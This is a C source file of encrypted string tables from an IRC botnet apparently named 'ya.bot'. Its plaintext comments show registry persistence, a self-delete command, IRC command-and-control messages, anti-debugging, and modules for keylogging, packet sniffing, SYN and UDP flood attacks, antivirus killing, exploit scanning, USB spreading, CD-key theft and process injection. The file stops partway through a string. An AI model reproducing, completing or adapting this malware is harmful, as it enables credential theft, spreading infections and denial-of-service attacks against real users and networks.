/*  ya.bot  */

//Encrypted arrays and strings in other files:
//--------------------------------------------
//char *rgpszSignatures[], keylog.cpp
//SPacketList rgSPacketList[], psniff.cpp
//char *rgpszShareList[], secure.cpp
//char *rgpszEUList[], speedtest.cpp
//char *rgpszJPList[], speedtest.cpp
//char *rgpszUSList[], speedtest.cpp
//
//char *rgpszSignatureList[], botkiller.cpp
//
//SExploitList rgSExploitList[], expscan.cpp
//char *rgpszShareList[], expscan_smb.cpp
//char *g_rgpszPasswordList[], wordlist.cpp
//char *g_rgpszUsernameList[], wordlist.cpp
//
//SCDKey rgSCDKeyList[], snag_cdkeys.cpp

#ifndef NO_DEBUG
const char *string_debugdate = //dd/MM/yyyy
		"\xAD\xAD\xE6\x84\x84\xE6\xB0\xB0\xB0\xB0";
const char *string_debugtime = //hh':'mm':'ss
		"\xA1\xA1\xEE\xF3\xEE\xA4\xA4\xEE\xF3\xEE\xBA\xBA";
const char *string_debugprint = //%s %s 
		"\xEC\xBA\xE9\xEC\xBA\xE9";
const char *string_debugfileappend = //a+
		"\xA8\xE2";
#endif

const char *string_mainmutex = //%s (%s)
		"\xEC\xBA\xE9\xE1\xEC\xBA\xE0";

const char *string_installregistrystartup = //SOFTWARE\Microsoft\Windows\CurrentVersion\Run
		"\x9A\x86\x8F\x9D\x9E\x88\x9B\x8C\x95\x84\xA0\xAA\xBB\xA6\xBA\xA6\xAF\xBD\x95\x9E\xA0\xA7"
		"\xAD\xA6\xBE\xBA\x95\x8A\xBC\xBB\xBB\xAC\xA7\xBD\x9F\xAC\xBB\xBA\xA0\xA6\xA7\x95\x9B\xBC"
		"\xA7";
const char *string_installregistrysafebootminimal = //SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal
		"\x9A\x90\x9A\x9D\x8C\x84\x95\x8A\xBC\xBB\xBB\xAC\xA7\xBD\x8A\xA6\xA7\xBD\xBB\xA6\xA5\x9A"
		"\xAC\xBD\x95\x8A\xA6\xA7\xBD\xBB\xA6\xA5\x95\x9A\xA8\xAF\xAC\x8B\xA6\xA6\xBD\x95\x84\xA0"
		"\xA7\xA0\xA4\xA8\xA5";
const char *string_installregistrysafebootnetwork = //SYSTEM\CurrentControlSet\Control\SafeBoot\Network
		"\x9A\x90\x9A\x9D\x8C\x84\x95\x8A\xBC\xBB\xBB\xAC\xA7\xBD\x8A\xA6\xA7\xBD\xBB\xA6\xA5\x9A"
		"\xAC\xBD\x95\x8A\xA6\xA7\xBD\xBB\xA6\xA5\x95\x9A\xA8\xAF\xAC\x8B\xA6\xA6\xBD\x95\x87\xAC"
		"\xBD\xBE\xA6\xBB\xA2";
const char *string_installresourcetype = //RT_RCDATA
		"\x9B\x9D\x96\x9B\x8A\x8D\x88\x9D\x88";
const char *string_installmeltcommand = ///c del "%s" >> NUL
		"\xE6\xAA\xE9\xAD\xAC\xA5\xE9\xEB\xEC\xBA\xEB\xE9\xF7\xF7\xE9\x87\x9C\x85";
const char *string_installmeltcomspec = //ComSpec
		"\x8A\xA6\xA4\x9A\xB9\xAC\xAA";

#ifndef NO_INSTALLDRIVER
const char *string_installdriverresourcename = //drvrsc
		"\xAD\xBB\xBF\xBB\xBA\xAA";
#endif

#ifndef NO_INSTALLWORMRIDE
const char *string_installwormrideresourcename = //wrdrsc
		"\xBE\xBB\xAD\xBB\xBA\xAA";
const char *string_wormridealreadyrunning = //%s%s%s%s wormride already running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBE\xA6\xBB\xA4\xBB\xA0\xAD\xAC\xE9\xA8\xA5\xBB\xAC"
		"\xA8\xAD\xB0\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_wormridefailed = //%s%s%s%s wormride failed, unable to load wormride into any process!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBE\xA6\xBB\xA4\xBB\xA0\xAD\xAC\xE9\xAF\xA8\xA0\xA5"
		"\xAC\xAD\xE5\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xA5\xA6\xA8\xAD\xE9\xBE\xA6\xBB"
		"\xA4\xBB\xA0\xAD\xAC\xE9\xA0\xA7\xBD\xA6\xE9\xA8\xA7\xB0\xE9\xB9\xBB\xA6\xAA\xAC\xBA\xBA"
		"\xE8";
const char *string_wormridestarted = //%s%s%s%s wormride started, %sloaded:%s %s %sinto:%s %d processes, %stime:%s %dmin..
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBE\xA6\xBB\xA4\xBB\xA0\xAD\xAC\xE9\xBA\xBD\xA8\xBB"
		"\xBD\xAC\xAD\xE5\xE9\xEC\xBA\xA5\xA6\xA8\xAD\xAC\xAD\xF3\xEC\xBA\xE9\xEC\xBA\xE9\xEC\xBA"
		"\xA0\xA7\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xAD\xE9\xB9\xBB\xA6\xAA\xAC\xBA\xBA\xAC\xBA\xE5\xE9"
		"\xEC\xBA\xBD\xA0\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE7";
const char *string_wormridefinished = //%s%s%s%s wormride finished %safter:%s %dmin, %sunloaded:%s %s %sfrom:%s %d processes.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBE\xA6\xBB\xA4\xBB\xA0\xAD\xAC\xE9\xAF\xA0\xA7\xA0"
		"\xBA\xA1\xAC\xAD\xE9\xEC\xBA\xA8\xAF\xBD\xAC\xBB\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE5"
		"\xE9\xEC\xBA\xBC\xA7\xA5\xA6\xA8\xAD\xAC\xAD\xF3\xEC\xBA\xE9\xEC\xBA\xE9\xEC\xBA\xAF\xBB"
		"\xA6\xA4\xF3\xEC\xBA\xE9\xEC\xAD\xE9\xB9\xBB\xA6\xAA\xAC\xBA\xBA\xAC\xBA\xE7";
const char *string_wormridestopped = //%s%s%s%s wormride stopped.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBE\xA6\xBB\xA4\xBB\xA0\xAD\xAC\xE9\xBA\xBD\xA6\xB9"
		"\xB9\xAC\xAD\xE7";
const char *string_wormridenotrunning = //%s%s%s%s wormride not running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBE\xA6\xBB\xA4\xBB\xA0\xAD\xAC\xE9\xA7\xA6\xBD\xE9"
		"\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
#endif

const char *string_ircaction = //%s %s%s
		"\xEC\xBA\xE9\xEC\xBA\xEC\xBA";
const char *string_ircmessage = //%s %s :
		"\xEC\xBA\xE9\xEC\xBA\xE9\xF3";
const char *string_ircnicknumber = //%i
		"\xEC\xA0";
const char *string_ircnicklan = //L
		"\x85";
const char *string_ircnickmodem = //M
		"\x84";
const char *string_ircnickdirect = //D
		"\x8D";
const char *string_ircnicknt = //NT
		"\x87\x9D";
const char *string_ircnick2k = //2K
		"\xFB\x82";
const char *string_ircnick03 = //03
		"\xF9\xFA";
const char *string_ircnickvs = //VS
		"\x9F\x9A";
const char *string_ircnickquestionmarks = //??
		"\xF6\xF6";
const char *string_ircnickextended = //[%s%.2I64d|%s|%s]%s
		"\x92\xEC\xBA\xEC\xE7\xFB\x80\xFF\xFD\xAD\xB5\xEC\xBA\xB5\xEC\xBA\x94\xEC\xBA";
const char *string_ircnickgood = //[X]%s%s
		"\x92\x91\x94\xEC\xBA\xEC\xBA";
const char *string_ircnickuptime = //[%I64d]%s%s
		"\x92\xEC\x80\xFF\xFD\xAD\x94\xEC\xBA\xEC\xBA";
const char *string_ircuserinfo = //PASS %s%sNICK %s%sUSER %s "%s.com" "%s" :%s%s
		"\x99\x88\x9A\x9A\xE9\xEC\xBA\xEC\xBA\x87\x80\x8A\x82\xE9\xEC\xBA\xEC\xBA\x9C\x9A\x8C\x9B"
		"\xE9\xEC\xBA\xE9\xEB\xEC\xBA\xE7\xAA\xA6\xA4\xEB\xE9\xEB\xEC\xBA\xEB\xE9\xF3\xEC\xBA\xEC"
		"\xBA";
const char *string_ircjoin = //JOIN %s %s%s
		"\x83\x86\x80\x87\xE9\xEC\xBA\xE9\xEC\xBA\xEC\xBA";
const char *string_ircpingserver = //PING :%s%s
		"\x99\x80\x87\x8E\xE9\xF3\xEC\xBA\xEC\xBA";
const char *string_ircping = //PING
		"\x99\x80\x87\x8E";
const char *string_ircpong = //PONG
		"\x99\x86\x87\x8E";
const char *string_ircmotd = //375
		"\xFA\xFE\xFC";
const char *string_ircnomotd = //422
		"\xFD\xFB\xFB";
const char *string_ircnickinuse = //433
		"\xFD\xFA\xFA";
const char *string_ircnotregistered = //451
		"\xFD\xFC\xF8";
const char *string_ircbannedfromchannel = //474
		"\xFD\xFE\xFD";
const char *string_ircwrongchannelkey = //475
		"\xFD\xFE\xFC";
const char *string_irctopicset = //TOPIC
		"\x9D\x86\x99\x80\x8A";
const char *string_irckick = //KICK
		"\x82\x80\x8A\x82";
const char *string_ircpart = //PART
		"\x99\x88\x9B\x9D";
const char *string_ircquit = //QUIT
		"\x98\x9C\x80\x9D";
const char *string_ircnotice = //NOTICE
		"\x87\x86\x9D\x80\x8A\x8C";
const char *string_ircprivmsg = //PRIVMSG
		"\x99\x9B\x80\x9F\x84\x9A\x8E";
const char *string_ircclientping = //%sPING
		"\xEC\xBA\x99\x80\x87\x8E";
const char *string_ircclientpong = //%sPING %s
		"\xEC\xBA\x99\x80\x87\x8E\xE9\xEC\xBA";
const char *string_ircclientversion = //%sVERSION%s
		"\xEC\xBA\x9F\x8C\x9B\x9A\x80\x86\x87\xEC\xBA";
const char *string_ircclientversionresponse = //%sVERSION %s%s
		"\xEC\xBA\x9F\x8C\x9B\x9A\x80\x86\x87\xE9\xEC\xBA\xEC\xBA";
const char *string_ircdelayresponse = //-d
		"\xE4\xAD";
const char *string_ircsilentresponse = //-s
		"\xE4\xBA";
const char *string_ircverboseresponse = //-v
		"\xE4\xBF";

#ifndef NO_TOPIC
const char *string_irctopiccommand = //332
		"\xFA\xFA\xFB";
const char *string_ircmutlitopicseperator = //|
		"\xB5";
const char *string_ircmutlitopiccommand = //:%s 332 %s %s :%s%s
		"\xF3\xEC\xBA\xE9\xFA\xFA\xFB\xE9\xEC\xBA\xE9\xEC\xBA\xE9\xF3\xEC\xBA\xEC\xBA";
#endif

const char *string_threadbotmain = //bot_main()
		"\xAB\xA6\xBD\x96\xA4\xA8\xA0\xA7\xE1\xE0";
const char *string_threadircping = //irc_ping()
		"\xA0\xBB\xAA\x96\xB9\xA0\xA7\xAE\xE1\xE0";
#ifndef NO_ANTIDEBUG
const char *string_threadantidebugdetectdebugger = //antidebug_detectdebugger()
		"\xA8\xA7\xBD\xA0\xAD\xAC\xAB\xBC\xAE\x96\xAD\xAC\xBD\xAC\xAA\xBD\xAD\xAC\xAB\xBC\xAE\xAE"
		"\xAC\xBB\xE1\xE0";
#endif
#ifndef NO_DCC
const char *string_threaddccget = //dcc_get()
		"\xAD\xAA\xAA\x96\xAE\xAC\xBD\xE1\xE0";
const char *string_threaddccsend = //dcc_send()
		"\xAD\xAA\xAA\x96\xBA\xAC\xA7\xAD\xE1\xE0";
#endif
#ifndef NO_FILEFIND
const char *string_threadfilefindmain = //file_findmain()
		"\xAF\xA0\xA5\xAC\x96\xAF\xA0\xA7\xAD\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_FTP
const char *string_threadftpdownload = //ftp_download()
		"\xAF\xBD\xB9\x96\xAD\xA6\xBE\xA7\xA5\xA6\xA8\xAD\xE1\xE0";
const char *string_threadftpupdate = //ftp_update()
		"\xAF\xBD\xB9\x96\xBC\xB9\xAD\xA8\xBD\xAC\xE1\xE0";
const char *string_threadftpupload = //ftp_upload()
		"\xAF\xBD\xB9\x96\xBC\xB9\xA5\xA6\xA8\xAD\xE1\xE0";
#endif
#ifndef NO_HTTP
const char *string_threadhttpdownload = //http_download()
		"\xA1\xBD\xBD\xB9\x96\xAD\xA6\xBE\xA7\xA5\xA6\xA8\xAD\xE1\xE0";
const char *string_threadhttpupdate = //http_update()
		"\xA1\xBD\xBD\xB9\x96\xBC\xB9\xAD\xA8\xBD\xAC\xE1\xE0";
#endif
#ifndef NO_KEYLOG
const char *string_threadkeylogmain = //keylog_main()
		"\xA2\xAC\xB0\xA5\xA6\xAE\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_PSNIFF
const char *string_threadpsniffmain = //psniff_main()
		"\xB9\xBA\xA7\xA0\xAF\xAF\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_SECURE
const char *string_threadsecuremain = //secure_main()
		"\xBA\xAC\xAA\xBC\xBB\xAC\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_DAEMONFTP
const char *string_threaddaemonftpmain = //daemon_ftpmain()
		"\xAD\xA8\xAC\xA4\xA6\xA7\x96\xAF\xBD\xB9\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_DAEMONHTTP
const char *string_threaddaemonhttpmain = //daemon_httpmain()
		"\xAD\xA8\xAC\xA4\xA6\xA7\x96\xA1\xBD\xBD\xB9\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_DAEMONIDENT
const char *string_threaddaemonidentmain = //daemon_identmain()
		"\xAD\xA8\xAC\xA4\xA6\xA7\x96\xA0\xAD\xAC\xA7\xBD\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_DAEMONSOCKS4
const char *string_threaddaemonsocks4main = //daemon_socks4main()
		"\xAD\xA8\xAC\xA4\xA6\xA7\x96\xBA\xA6\xAA\xA2\xBA\xFD\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_BANDWITHFLOOD
const char *string_threadbandwithfloodmain = //bandwithflood_main()
		"\xAB\xA8\xA7\xAD\xBE\xA0\xBD\xA1\xAF\xA5\xA6\xA6\xAD\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_SYNACKFLOOD
const char *string_threadsynackfloodmain = //synackflood_main()
		"\xBA\xB0\xA7\xA8\xAA\xA2\xAF\xA5\xA6\xA6\xAD\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_TROLLFLOOD
const char *string_threadtrollfloodmain = //trollflood_main()
		"\xBD\xBB\xA6\xA5\xA5\xAF\xA5\xA6\xA6\xAD\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_UDPFLOOD
const char *string_threadudpfloodmain = //udpflood_main()
		"\xBC\xAD\xB9\xAF\xA5\xA6\xA6\xAD\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_AVKILLER
const char *string_threadavkillermain = //avkiller_main()
		"\xA8\xBF\xA2\xA0\xA5\xA5\xAC\xBB\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_BOTKILLER
const char *string_threadbotkillermain = //botkiller_main()
		"\xAB\xA6\xBD\xA2\xA0\xA5\xA5\xAC\xBB\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_EXPSCAN
const char *string_threadexpscanmain = //expscan_main()
		"\xAC\xB1\xB9\xBA\xAA\xA8\xA7\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_MIRCSCAN
const char *string_threadmircscanmain = //mircscan_main()
		"\xA4\xA0\xBB\xAA\xBA\xAA\xA8\xA7\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_USBSCAN
const char *string_threadusbscanmain = //usbscan_main()
		"\xBC\xBA\xAB\xBA\xAA\xA8\xA7\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif
#ifndef NO_INSTALLWORMRIDE
const char *string_threadwormridemain = //wormride_main()
		"\xBE\xA6\xBB\xA4\xBB\xA0\xAD\xAC\x96\xA4\xA8\xA0\xA7\xE1\xE0";
#endif

const char *string_replymain = //main
		"\xA4\xA8\xA0\xA7";
#ifndef NO_DCC
const char *string_replydcc = //dcc
		"\xAD\xAA\xAA";
#endif
const char *string_replyfile = //file
		"\xAF\xA0\xA5\xAC";
#ifndef NO_FTP
const char *string_replyftp = //ftp
		"\xAF\xBD\xB9";
#endif
#ifndef NO_HTTP
const char *string_replyhttp = //http
		"\xA1\xBD\xBD\xB9";
#endif
#ifndef NO_INFO
const char *string_replyinfo = //info
		"\xA0\xA7\xAF\xA6";
#endif
#ifndef NO_KEYLOG
const char *string_replykeylog = //keylog
		"\xA2\xAC\xB0\xA5\xA6\xAE";
#endif
const char *string_replyprocess = //process
		"\xB9\xBB\xA6\xAA\xAC\xBA\xBA";
#ifndef NO_PSNIFF
const char *string_replypsniff = //psniff
		"\xB9\xBA\xA7\xA0\xAF\xAF";
#endif
#ifndef NO_SPEEDTEST
const char *string_replyspeedtest = //speedtest
		"\xBA\xB9\xAC\xAC\xAD\xBD\xAC\xBA\xBD";
#endif
const char *string_replythread = //thread
		"\xBD\xA1\xBB\xAC\xA8\xAD";
#ifndef NO_DAEMONFTP
const char *string_replyftpd = //ftpd
		"\xAF\xBD\xB9\xAD";
#endif
#ifndef NO_DAEMONHTTP
const char *string_replyhttpd = //httpd
		"\xA1\xBD\xBD\xB9\xAD";
#endif
#ifndef NO_DAEMONSOCKS4
const char *string_replysocks4d = //socks4d
		"\xBA\xA6\xAA\xA2\xBA\xFD\xAD";
#endif
const char *string_replyddos = //ddos
		"\xAD\xAD\xA6\xBA";
#ifndef NO_BOTKILLER
const char *string_replybotkiller = //botkiller
		"\xAB\xA6\xBD\xA2\xA0\xA5\xA5\xAC\xBB";
#endif
#ifndef NO_EXPSCAN
const char *string_replyexpscan = //expscan
		"\xAC\xB1\xB9\xBA\xAA\xA8\xA7";
const char *string_replytransfer = //transfer
		"\xBD\xBB\xA8\xA7\xBA\xAF\xAC\xBB";
#endif
#ifndef NO_MIRCSCAN
const char *string_replymircscan = //mircscan
		"\xA4\xA0\xBB\xAA\xBA\xAA\xA8\xA7";
#endif
#ifndef NO_USBSCAN
const char *string_replyusbscan = //usbscan
		"\xBC\xBA\xAB\xBA\xAA\xA8\xA7";
#endif
const char *string_replyscan = //scan
		"\xBA\xAA\xA8\xA7";
const char *string_replysnag = //snag
		"\xBA\xA7\xA8\xAE";
#ifndef NO_INSTALLWORMRIDE
const char *string_replywormride = //wormride
		"\xBE\xA6\xBB\xA4\xBB\xA0\xAD\xAC";
#endif
const char *string_replydotbot = //.bot -
		"\xE7\xAB\xA6\xBD\xE9\xE4";

const char *string_botquitmsg = //:0xDEADBEEF
		"\xF3\xF9\xB1\x8D\x8C\x88\x8D\x8B\x8C\x8C\x8F";
const char *string_botloggedin = //%%s%s%s%s user logged in.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xBA\xAC\xBB\xE9\xA5\xA6\xAE\xAE\xAC\xAD\xE9\xA0"
		"\xA7\xE7";
const char *string_botloggedout = //%s%s%s%s user logged out.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xBA\xAC\xBB\xE9\xA5\xA6\xAE\xAE\xAC\xAD\xE9\xA6"
		"\xBC\xBD\xE7";
const char *string_botdnsresolved = //%s%s%s%s %sresolved:%s %s, %sto:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xBB\xAC\xBA\xA6\xA5\xBF\xAC\xAD\xF3\xEC\xBA"
		"\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
const char *string_botdnsfailed = //%s%s%s%s unable to %sresolve:%s %s!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xEC\xBA\xBB"
		"\xAC\xBA\xA6\xA5\xBF\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE8";
const char *string_botinfo = //%s%s%s%s %sbot id:%s %s (%s%s%s), %sfilename:%s %s, %sstartup name:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAB\xA6\xBD\xE9\xA0\xAD\xF3\xEC\xBA\xE9\xEC"
		"\xBA\xE9\xE1\xEC\xBA\xEC\xBA\xEC\xBA\xE0\xE5\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xA7\xA8\xA4\xAC"
		"\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xBA\xBD\xA8\xBB\xBD\xBC\xB9\xE9\xA7\xA8\xA4\xAC"
		"\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
const char *string_botremovingbot = //%s%s%s%s removing bot...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBB\xAC\xA4\xA6\xBF\xA0\xA7\xAE\xE9\xAB\xA6\xBD\xE7"
		"\xE7\xE7";
const char *string_botremovefailed = //%s%s%s%s remove failed!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBB\xAC\xA4\xA6\xBF\xAC\xE9\xAF\xA8\xA0\xA5\xAC\xAD"
		"\xE8";
const char *string_botsystemcommand = //%s%s%s%s ran system %scommand:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBB\xA8\xA7\xE9\xBA\xB0\xBA\xBD\xAC\xA4\xE9\xEC\xBA"
		"\xAA\xA6\xA4\xA4\xA8\xA7\xAD\xF3\xEC\xBA\xE9\xEC\xBA\xE7";

const char *string_user32library = //user32.dll
		"\xBC\xBA\xAC\xBB\xFA\xFB\xE7\xAD\xA5\xA5";

#ifndef NO_ANTIDEBUG
const char *string_antidebugmessageboxafunction = //MessageBoxA
		"\x84\xAC\xBA\xBA\xA8\xAE\xAC\x8B\xA6\xB1\x88";
const char *string_antidebugsofticepath = //\\.\NTICE
		"\x95\x95\xE7\x95\x87\x9D\x80\x8A\x8C";
#endif

#ifndef NO_DCC
const char *string_dccrequest = //%sDCC
		"\xEC\xBA\x8D\x8A\x8A";
const char *string_dccsend = //SEND
		"\x9A\x8C\x87\x8D";
const char *string_dccalreadyrunning = //%s%s%s%s dcc already running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAD\xAA\xAA\xE9\xA8\xA5\xBB\xAC\xA8\xAD\xB0\xE9\xBB"
		"\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_dccparameters = //%sDCC SEND %s %d %i %d%s
		"\xEC\xBA\x8D\x8A\x8A\xE9\x9A\x8C\x87\x8D\xE9\xEC\xBA\xE9\xEC\xAD\xE9\xEC\xA0\xE9\xEC\xAD"
		"\xEC\xBA";
const char *string_dccstarted = //%s%s%s%s dcc started %sto:%s %s, %sfile:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAD\xAA\xAA\xE9\xBA\xBD\xA8\xBB\xBD\xAC\xAD\xE9\xEC"
		"\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC"
		"\xBA\xE7";
const char *string_dccfailed = //%s%s%s%s dcc failed %sto:%s %s, %sfile:%s %s!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAD\xAA\xAA\xE9\xAF\xA8\xA0\xA5\xAC\xAD\xE9\xEC\xBA"
		"\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC\xBA"
		"\xE8";
const char *string_dccfinished = //%s%s%s%s dcc finished %sto:%s %s, %sfile:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAD\xAA\xAA\xE9\xAF\xA0\xA7\xA0\xBA\xA1\xAC\xAD\xE9"
		"\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9"
		"\xEC\xBA\xE7";
const char *string_dccstopped = //%s%s%s%s dcc stopped.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAD\xAA\xAA\xE9\xBA\xBD\xA6\xB9\xB9\xAC\xAD\xE7";
const char *string_dccnotrunning = //%s%s%s%s dcc not running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAD\xAA\xAA\xE9\xA7\xA6\xBD\xE9\xBB\xBC\xA7\xA7\xA0"
		"\xA7\xAE\xE8";
#endif

const char *string_filefopenreadbinary = //rb
		"\xBB\xAB";
const char *string_filefopenreadwritebinary = //r+b
		"\xBB\xE2\xAB";
const char *string_filefopenwritebinary = //w+b
		"\xBE\xE2\xAB";
const char *string_filepath = //%s\%s
		"\xEC\xBA\x95\xEC\xBA";
const char *string_fileopen = //open
		"\xA6\xB9\xAC\xA7";
const char *string_filedeleted = //%s%s%s%s %sfile:%s %s deleted.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE9"
		"\xAD\xAC\xA5\xAC\xBD\xAC\xAD\xE7";
const char *string_fileunabletodelete = //%s%s%s%s unable to delete %sfile:%s %s!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xAD\xAC\xA5"
		"\xAC\xBD\xAC\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE8";
#ifndef NO_FILEFIND
const char *string_filesearchingforfile = //%s%s%s%s searching for file...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBA\xAC\xA8\xBB\xAA\xA1\xA0\xA7\xAE\xE9\xAF\xA6\xBB"
		"\xE9\xAF\xA0\xA5\xAC\xE7\xE7\xE7";
const char *string_filefinddirectory = //%s\*
		"\xEC\xBA\x95\xE3";
const char *string_filefoundfile = //%s%s%s%s found %sfile:%s %s\%s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA6\xBC\xA7\xAD\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3"
		"\xEC\xBA\xE9\xEC\xBA\x95\xEC\xBA\xE7";
const char *string_fileendofsearch = //%s%s%s%s end of filesearch.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAC\xA7\xAD\xE9\xA6\xAF\xE9\xAF\xA0\xA5\xAC\xBA\xAC"
		"\xA8\xBB\xAA\xA1\xE7";
const char *string_filealreadysearchingforfile = //%s%s%s%s already searching for file!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA8\xA5\xBB\xAC\xA8\xAD\xB0\xE9\xBA\xAC\xA8\xBB\xAA"
		"\xA1\xA0\xA7\xAE\xE9\xAF\xA6\xBB\xE9\xAF\xA0\xA5\xAC\xE8";
#endif
const char *string_fileopened = //%s%s%s%s %sfile:%s %s opened.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE9"
		"\xA6\xB9\xAC\xA7\xAC\xAD\xE7";
const char *string_fileunabletoopen = //%s%s%s%s unable to open %sfile:%s %s!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xA7\xA8\xAB\xA5\xAC\xE9\xBD\xA6\xE9\xA6\xB9\xAC"
		"\xA7\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE8";

#ifndef NO_FTP
const char *string_ftpupdatefile = //%s%itemp.exe
		"\xEC\xBA\xEC\xA0\xBD\xAC\xA4\xB9\xE7\xAC\xB1\xAC";
const char *string_ftpretr = //%s%s%s%s %sRETR:%s %s...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\x9B\x8C\x9D\x9B\xF3\xEC\xBA\xE9\xEC\xBA\xE7\xE7\xE7";
const char *string_ftpstor = //%s%s%s%s %sSTOR:%s %s...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\x9A\x9D\x86\x9B\xF3\xEC\xBA\xE9\xEC\xBA\xE7\xE7\xE7";
const char *string_ftpretrievedfile = //%s%s%s%s %sfile:%s %s, %sretrieved to%s: %s, %sexecution:%s %i.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC"
		"\xBA\xBB\xAC\xBD\xBB\xA0\xAC\xBF\xAC\xAD\xE9\xBD\xA6\xEC\xBA\xF3\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xAC"
		"\xB1\xAC\xAA\xBC\xBD\xA0\xA6\xA7\xF3\xEC\xBA\xE9\xEC\xA0\xE7";
const char *string_ftpretrievedupdate = //%s%s%s%s %sfile:%s %s, %sretrieved to%s: %s, updating...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC"
